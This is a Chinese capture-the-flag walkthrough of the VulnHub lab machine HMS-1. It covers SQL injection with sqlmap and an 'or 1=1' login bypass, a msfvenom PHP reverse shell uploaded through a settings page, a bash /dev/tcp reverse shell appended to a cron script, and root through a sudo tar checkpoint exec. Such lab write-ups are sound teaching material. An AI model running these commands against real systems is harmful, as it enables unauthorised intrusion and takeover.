『vulnhub系列』HMS?-1
下载地点:
- https://www.vulnhub.com/entry/hms-1,728/
复制代码 信息搜集:
利用nmap举行存活主机探测,发现开启了21端口(ftp)和22端口(ssh)
匿名登录ftp看看里面有什么东西,发现什么都没有- ftp 192.168.199.133
- #使用anonymous登录,无需输入密码
复制代码
举行全面扫描,发现开启了7080端口- nmap 192.168.199.133 -p 1-65535
复制代码
访问7080端口的服务发现存在一个登录页面
利用dirsearch举行目次扫描- dirsearch -u "http://192.168.199.133:7080/"
复制代码
在登录页面查看是否存在sql注入,发现确实存在,一个报错注入一个盲注- sqlmsqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login="
复制代码
查看数据库- sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" --dbs
复制代码
查看数据库中的表- sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' --tables
复制代码
查看admin表中的字段,发现邮箱为 ndbhalerao91@gmail.com ,但是我们发现密码并不是明文- sqlmap -u http://192.168.199.133:7080/login.php --data="user=admin&email=admin%40123&password=asd&btn_login=" -D 'clinic_db' -T 'admin' --dump
复制代码
毛病利用:
我们之前发现,是存在报错注入的并且看payload是通过单引号闭合的- Payload: user=admin&email=admin@123' OR (SELECT 9709 FROM(SELECT COUNT(*),CONCAT(0x7170707671,(SELECT (ELT(9709=9709,1))),0x716b706b71,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)-- nnPx&password=asd&btn_login=
复制代码
我们利用万能密码发现带有前端验证
我们利用burp抓包,利用Repeater确认一下,发现Login Successfully- user=admin&email=ndbhalerao91%40gmail.com' or 1=1 #&password=asd&btn_login=
复制代码
我们放包,登录成功
找了半天,没有发现什么地方可疑,我们再利用另一个工具扫描一下目次,由于并没有登录,以是这些302的跳转页面,其实也是存在的- gobuster dir -u "http://192.168.199.133:7080/" -w /usr/share/wordlists/dirb/big.txt -x .php
复制代码
我们发现了setting页面,存在文件上传页面。上传利用msfvenom 生成的反弹shell- msfvenom -p php/meterpreter/reverse_tcp lhost=192.168.199.129 lport=4444 -o re_shell.php
复制代码
然后发现上面出现了一串图片
新标签页访问,发现新的目次/uploadImage
最后在/uploadImage/Logo/ 中发现我们的re_shell.php
此时在我们的攻击机开启监听- msfconsole
- use exploit/multi/handler
- set lhost 192.168.199.133
- set payload php/meterpreter/reverse_tcp
- run
复制代码
反弹成功
提升权限:
查看具有SUID权限的命令,发现/usr/bin/bash我们可以借此切换用户- find / -perm -u=s -type f 2>/dev/null
复制代码
利用命令,成功切换为eren 用户
但是利用命令sudo -l发现照旧要输入密码,因此此时我们的eren用户的权限并不完整
我们查看计划任务
发现一条计划任务*/5 * * * * eren /home/eren/backup.sh- 关于计划任务:
- * * * * *
- 分 时 日 月 周
- 而对于这条命令意思就是每五分钟执行一次
- */5 * * * * eren /home/eren//backup.sh
复制代码 可以看到这个文件恰好早eren的家目次下。那么我们刚刚切换为eren用户的操纵就可以用到了,利用eren权限我们将反弹shell写入/backup.sh- echo "bash -i >& /dev/tcp/192.168.199.129/7777 0>&1" >> /home/eren/backup.sh
复制代码 之后在攻击机利用nc等候
连接成功,得到完整的eren用户权限
利用命令sudo -l 查看用户可以在呆板上运行的命令,发现tar命令可以以root权限执行
现在我们利用tar的sudo提权- sudo tar -cf /dev/null /dev/null --checkpoint=1 --checkpoint-action=exec=/bin/sh
复制代码
- -cf /dev/null /dev/null 将/dev/null 打包为 /dev/null
- -c 打包
- -f 打包为f后面的名字
- --checkpoint=1 每打包一个文件就到达一个查抄点
- --checkpoint-action=exec=/bin/sh 到达查抄点后执行的命令
得到root权限
成果:
/home/nivek/local.txt :- 3bbf8c168408f1d5ff9dfd91fc00d0c1
复制代码 /root/root.txt:- 299c10117c1940f21b70a391ca125c5d
复制代码 免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。 |